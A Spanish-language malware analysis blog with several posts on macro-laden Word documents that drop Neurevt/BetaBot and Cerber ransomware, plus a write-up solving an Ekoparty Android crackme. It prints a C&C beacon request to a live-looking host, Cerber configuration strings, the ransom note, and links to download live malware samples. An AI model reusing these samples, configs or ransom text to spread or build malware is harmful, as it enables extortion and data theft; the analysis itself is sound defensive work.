lunes, 27 de marzo de 2017

Gracias por la Donación: Continúan los ataques con documentos word con Macros.



Al igual que en otros casos llega por correo spam con un zip con un documento .doc con macros maliciosas que descargan Neurevt





Una vez abierto el documento se solicita habilitar el contenido, apelando una vez más al descuido de la víctima.





El macro, genera un .VBS que es el encargado de descargar el binario.







Quitamos los /***/ y obtenemos el sito de descarga http




Análisis del binario descargado por la macro .doc

https://www.virustotal.com/es/file/eb2421b85cd190084f28ee861681e88f2bfe2f7237b6c5d780f03c2ba896d0c4/analysis/






Quitamos la primera capa de ofuscación del código malicioso y obtenemos una muestra "más limpia"




https://virustotal.com/es/file/8394e9f616b66070385572fa54d11bd22a7913dd9dfedac298eef5bb16640f78/analysis/1490299891/


Reporte al sitio de C&C

"POST /kin/logout.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: nwefbnujngohreogojgr.ru
Content-Length: 1111
Cache-Control: no-cache" with no payload



Esta amenaza puede ser utilizada para robar información de la PC como también controlarla remotamente, o subir un Ransomware.



Muestra: https://www.dropbox.com/s/fic9oudzsd2lckt/BetaBot%2023-03-17.rar?dl=0



Es todo por el momento @Dkavalanche 2017




miércoles, 25 de enero de 2017

CERBER #Ransomware II: Continúan los ataques con documentos word con Macros.




Al igual que en otros casos llega por correo spam con un zip con un documento .doc



El documento tiene macros y apela a que la victima active le ejecución, cosa que muchos hacen.



Lo curioso es que los macros funcionan en entornos de 64bits.


Aquí modifique la función para que me funcionara en mi entorno de pruebas de 32bits.



 Trafico de descarga del malware por la macro.






Luego de la infección los archivos son encriptados y se les cambia la extension por una random.




Verificamos en el sitio id-ransomware a que familia pertenece.



Aquí realizamos un dump de la muestra y en la dirección de memoria 00AB000 encontramos parte de la configuración del ransomware.




Strings

91.239.24.0/23
11.56.22.0/27
17.35.12.0/27
01ENV9LRVl9e1BBUlRORVJfSUR9e09TfXtJU19YNjR9e0lTX0FETUlOfXtDT1VOVF9GSUxFU317U1RPUF9SRUFTT059e1NUQVRVU30=
rsa_key_size
%s\%s.tmp
folders
Your documents, photos, databases and other important files have been encrypted!
CERBER_CORE_PROTECTION_MUTEX
Attention! Attention! Attention!
\steam\
\microsoft\microsoft sql server\
\microsoft\office\
\microsoft\onenote\
\microsoft\outlook\
\office\
\microsoft\word\
\onenote\
\outlook\
\thunderbird\
\powerpoint\
\the bat!\
bitcoin\
\excel\
\microsoft sql server\
\microsoft\powerpoint\
\microsoft\excel\
MachineGuid
SOFTWARE\Microsoft\Cryptography



CERBER RANSOMWARE

  YOUR DOCUMENTS, PHOTOS, DATABASES AND OTHER IMPORTANT FILES  
  HAVE BEEN ENCRYPTED!  

  The only way to decrypt your files is to receive  
  the private key and decryption program.  

  To receive the private key and decryption program  
  go to any decrypted folder - inside there is the special file (*HELP_HELP_HELP*)  
  with complete instructions how to decrypt your files.  

  If you cannot find any (*HELP_HELP_HELP*) file at your PC,  
  follow the instructions below:  

  1. Download "Tor Browser" from https://www.torproject.org/ and install it.  
  2. In the "Tor Browser" open your personal page here:  

  http://{TOR}.onion/{PC_ID}  

  Note! This page is available via "Tor Browser" only.  



Verifique esta muestra con McAfee Interceptor y bloqueo a esta amenaza.




Sample : https://dl.dropboxusercontent.com/u/80008916/cerber_23_01_17.rar




Es todo por el momento @Dkavalanche 2017



jueves, 29 de diciembre de 2016

CERBER #Ransomware: Nueva campaña con documentos word con Macros.


Bueno, tenia pensado ya cerrar la persiana del blog por este año, pero no.
Vamos a comentar esta campaña de Ransomware que pide un rescate por los archivos encriptados de las víctimas.

Fuente del correo recibido, no tiene subject.





Contiene un .zip con parte del nombre igual al correo de la victima.




Al abrir el documento una imagen nos indica activar el contenido (Macros).



Aquí los macros que contiene el .DOC



Probamos la ejecución en una VM vemos que hace la descarga del siguiente elemento.




Descarga del Ejecutable con el querido malzilla.




El ejecutable contiene el icono de un supuesto .pdf

Utiliza un packer de NullSoft (PiMP SFX)




Analisis en V.T. con un indice mínimo de detecciones.



Función anti Debugging.






Dumpeamos en ResumeThread




Strings obtenidos en el Dump




Analisis en VT sin el Crypter.




Prueba Dinámica.







Parte de la Config del Ransomware

ntuser.dat
thumbs.db
folders
:\$getcurrent\
:\$recycle.bin\
:\$windows.~bt\
:\$windows.~ws\
:\boot\
:\documents and settings\all users\
:\documents and settings\default user\
:\documents and settings\localservice\
:\documents and settings\networkservice\
\intel\
:\msocache\
:\perflogs\
:\program files (x86)\
\windows10upgrade\
\program files\
:\programdata\
:\recovery\
:\recycled\
:\recycler\
:\system volume information\
:\temp\
:\windows.old\
\appdata\local\
:\windows\
:\winnt\
%I64d
\appdata\locallow\
\appdata\roaming\
\local settings\
\public\music\sample music\
\public\pictures\sample pictures\
\public\videos\sample videos\
\tor browser\
languages
+-0123456789.Ee
0
check
language
close_process
close_process
process
sqbcoreservice.exe
agntsvc.exeagntsvc.exe
agntsvc.exeencsvc.exe
ocssd.exe
agntsvc.exeisqlplussvc.exe
dbeng50.exe
dbsnmp.exe
fbserver.exe
firefoxconfig.exe
msftesql.exe
mydesktopqos.exe
mydesktopservice.exe
mysqld-nt.exe
mysqld-opt.exe
mysqld.exe
ocautoupds.exe
ocomm.exe
sqlbrowser.exe
oracle.exe
sqlwriter.exe
sqlagent.exe
tbirdconfig.exe
sqlservr.exe
.orf
synctime.exe
p
p
.nyf
xfssvccon.exe
debug
default
site_1
onion.to
site_2
onion.cab
site_3
onion.nu
site_4
onion.link
site_5
tor2web.org
tor
p27dokhpz2n7nvgr
encrypt
bytes_skip
divider
encrypt
files
.123
.1cd
.3dm
.3ds
.3fr
.3g2
.3gp
.3pr
.602
.7z
.7zip
.aac
.ab4
.abd
.acc
.accdb
.accde
.accdr
.accdt
.ach
.acr
.act
.adb
.adp
.ads
.aes
.agdl
.ai
.aiff
.ait
.al
.aoi
.apj
.apk
.arc
.arw
.ascx
.asf
.asm
.asp
.aspx
.asset
.asx
.atb
.avi
.awg
.back
.backup
.backupdb
.bak
.bank
.bat
.bay
.bdb
.bgt
.bik
.bin
.bkp
.blend
.bmp
................................................

.jpg
data_finish
file_extension
\steam\
files_name
_{RAND}_README_
run_by_the_end
self_deleting
statistics
LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF2a3R5NXFocUV5ZFI5MDc2RmV2cAowdU1QN0laTm1zMUFBN0dQUVVUaE1XYllpRVlJaEJLY1QwL253WXJCcTBPZ3Y3OUsxdHRhMDRFSFRyWGdjQXAvCk9KZ0JoejlONThhZXdkNHlaQm0yY29lYURHdmNHUkFjOWU3Mk9iRlEvVE1FL0lvN0xaNXFYRFd6RGFmSThMQTgKSlFtU3owTCsvRytMUFRXZzdrUE9wSlQ3V1NrUmI5VDh3NVFnWlJKdXZ2aEVySE04M2tPM0VMVEgrU29FSTUzcAo0RU5Wd2ZOTkVwT3BucE9PU0tRb2J0SXc1NkNzUUZyaGFjMHNRbE9qZWsvbXVWbHV4amlFbWMwZnN6azJXTFNuCnFyeWlNeXphSTVEV0JEallLWEExdHAyaC95Z2JrWWRGWVJiQUVxd3RMeFQyd01mV1BRSTVPa2hUYTl0WnFEMEgKblFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
background
text
whitelist
folders
\bitcoin\
\excel\
\microsoft sql server\
\microsoft\powerpoint\
\microsoft\excel\



La Public Key



Les dejo el sample y el dump, tener mucho cuidado!!!!

https://dl.dropboxusercontent.com/u/80008916/cerber-29-12-16.rar



Eso es todo por este 2016 @Dkavalanche 





martes, 27 de diciembre de 2016

Resolviendo el reto Nro 10 Android de ESET Ekoparty 2016 #eko12 - PARTE 2



Como habíamos quedado en la PARTE 1 el CrackmeBaby.apk desencripta un nuevo.apk

content.apk SHA256: 94317deb79ced2ece91b413d142492c76c876a320957a0f21bdf2a8150d6d427





Arrancamos la APP y nos muestra esta imagen, evidentemente algo mal estamos haciendo.





Decompilamos con APK-Multy-tool 

Existen dos activities SuperActivity y SuperbActivity.

Esto lo vemos en el AndroidManifest.xml





Y la actividad que se esta iniciando por default es SuperActivity y vemos en el código que solo muestra una imagen (la de Obi Wan)





SuperbActivity hace cosas mas interesantes y vemos que nunca arranca por lo que vamos a forzar su arranque




Para arrancar la actividad modificamos el AndroidManifest.xml para que arranque la SuperbActivity y luego volvemos a compilar y firmar.




Así vamos a obtener una segunda aplicación que siempre arrancará la actividad correcta para resolver este reto, por lo que a partir de ahora seguiremos trabajando con ella.




La arrancamos y vemos lo siguiente:



Una imagen de Fsociety y un contador decreciente, no tenemos ningún ingreso de datos como en el apk de la Parte 1.


En el código vemos



try
      {
        if ((SuperbActivity.b <= 0.0D) && (SuperbActivity.a < 0))
        {
          SuperbActivity.a += 1;
          SuperbActivity.access$002(SuperbActivity.this, 10.0D * (int)Math.log(Math.pow(SuperbActivity.a, SuperbActivity.a)));
          SuperbActivity.b = SuperbActivity.this.c;
          String str = SuperbActivity.this.getPreferences(4).getString("password", "no_password");
          if (e.SHA1(str).equalsIgnoreCase("249192f0a4f70aa25aa5c7521625f7d6e4021042"))
            new a().execute(new b[] { new b(SuperbActivity.this.getApplicationContext(), d.decrypt(str, "Jhv1Bk0Qi07jOVEeyImynOQmiiz1MvZakazhOaAld-0=")) });
        }
        SuperbActivity.this.t.setText(String.format("Próximo intento: %.1f", new Object[] { Double.valueOf(SuperbActivity.b) }));
        SuperbActivity.b -= 0.1D;
        SuperbActivity.this.g.postDelayed(this, 100L);
        return;
      }
      catch (Exception localException)
      {
        Log.e(SuperbActivity.this.getResources().getString(2131099668), "Oops!");

      }



Podemos observar que por otro lado hay un hash de SHA1 y un d.decrypt que toma como ingreso la cadena Jhv1Bk0Qi07jOVEeyImynOQmiiz1MvZakazhOaAld-0=


Vemos también:


  protected void onCreate(Bundle paramBundle)
  {
......................................
    paramBundle.putString("password", "insert_password_here");
    paramBundle.apply();

  }


Revisando el codigo SMALI veo lo siguiente:


.source "SuperbActivity.java"

  .line 61
    .local v0, "editor":Landroid/content/SharedPreferences$Editor;

    const-string v2, "password"


Significa que existe una shared memory en la cual deberemos poner una clave para que luego sea comparada con el hash del SHA1 y si machea se ejecuta la función d.decrypt("clave",Jhv1Bk0Qi07jOVEeyImynOQmiiz1MvZakazhOaAld-0=)

Busque el hash por internet sin suerte, por lo que intente con hashcat y probar una clave de 10 dígitos incremental....

hashcat64.exe -m 100 -a 3 example0.hash ?s?s?s?s?s?s?s?s?s?s --incremental 

Probé con solo numéricos, con alfa + may/minusculas sin éxito, para luego pasar al set con caracteres espaciales. Hasta los siete caracteres fue rápido y luego paso de horas a días y años... por lo que descartamos esté método debido a que un reto en una confer no nos puede llevar tanto tiempo a menos que tengamos una maquina cuántica...

Probe con hashcat porque al ver a Obi se me vino a la mente "Usa la Fuerza"...fuerza bruta....mmmm.... no...no.... solo fue una trampita :D


La password debería estar en otro lugar, revisando las imágenes de los recursos se las pase al exiftool y en la imagen de fsociety se puede ver lo siguiente en el Thumbnail


exiftool -b -ThumbnailImage image.jpg > my_thumbnail.jpg







Ahora que tengo la password r4bb!th0l3 se la puedo poner en el shared memory con el ADM en /data/data/eset.ekoparty.challenge.crackmeharder/shared_prefs/SuperbActivity.xml







O asignar la password directamente en el SuperbActivity.smali y me olvido.

Lógicamente vuelvo a compilar y firmar la aplicación.


.source "SuperbActivity.java"

  .line 61
    .local v0, "editor":Landroid/content/SharedPreferences$Editor;
    const-string v2, "password"

    const-string v3, "r4bb!th0l3"


Cuando machea el SHA1, como habíamos comentado antes, se 
ejecuta d.decrypt( r4bb!th0l3,Jhv1Bk0Qi07jOVEeyImynOQmiiz1MvZakazhOaAld-0=) 
obteniendo como resultado el string f0ll0w_th3_wh!t3_r4bb!t!

Acá la podemos ver en un dump de memoria previo.




Cada vez que el contador se pone en cero o se da click en el label, el apk llama a la class b y visita un sitio.

        SuperbActivity.this.t.setText(String.format("Próximo intento: %.1f", new Object[] { Double.valueOf(SuperbActivity.b) }));
        SuperbActivity.b -= 0.1D;

        SuperbActivity.this.g.postDelayed(this, 100L);



class b
{
  .................................
  String getUrl()
  {
    return "http://desafioseset.com/";
  }

}


En el LOGCAT se ve lo siguiente





Por otro lado se llama a la Class n a la cual se le pasa el string f0ll0w_th3_wh!t3_r4bb!t!


 SuperbActivity.FLAG = new n().func(localb.getKeyword());



class n
{
  static
  {
    System.loadLibrary("dostuff");
  }


Por lo que si hacemos un DUMP de la memoria.








Obtenemos la FLAG :D

eko_eset_m0b!l35



El APK lo deje modificado para que ingrese directamente a la actividad que corresponde, tome la clave y la imprima en el logcat.







Les dejo el apk original y la modificada con los archivos SMALI que toque.


https://dl.dropboxusercontent.com/u/80008916/Crackmeharder.7z



Eso es todo por este 2016 @Dkavalanche 










Gracias por la Donación: Continúan los ataques con documentos word con Macros. Al igual que en otros casos llega por correo spam con un zip...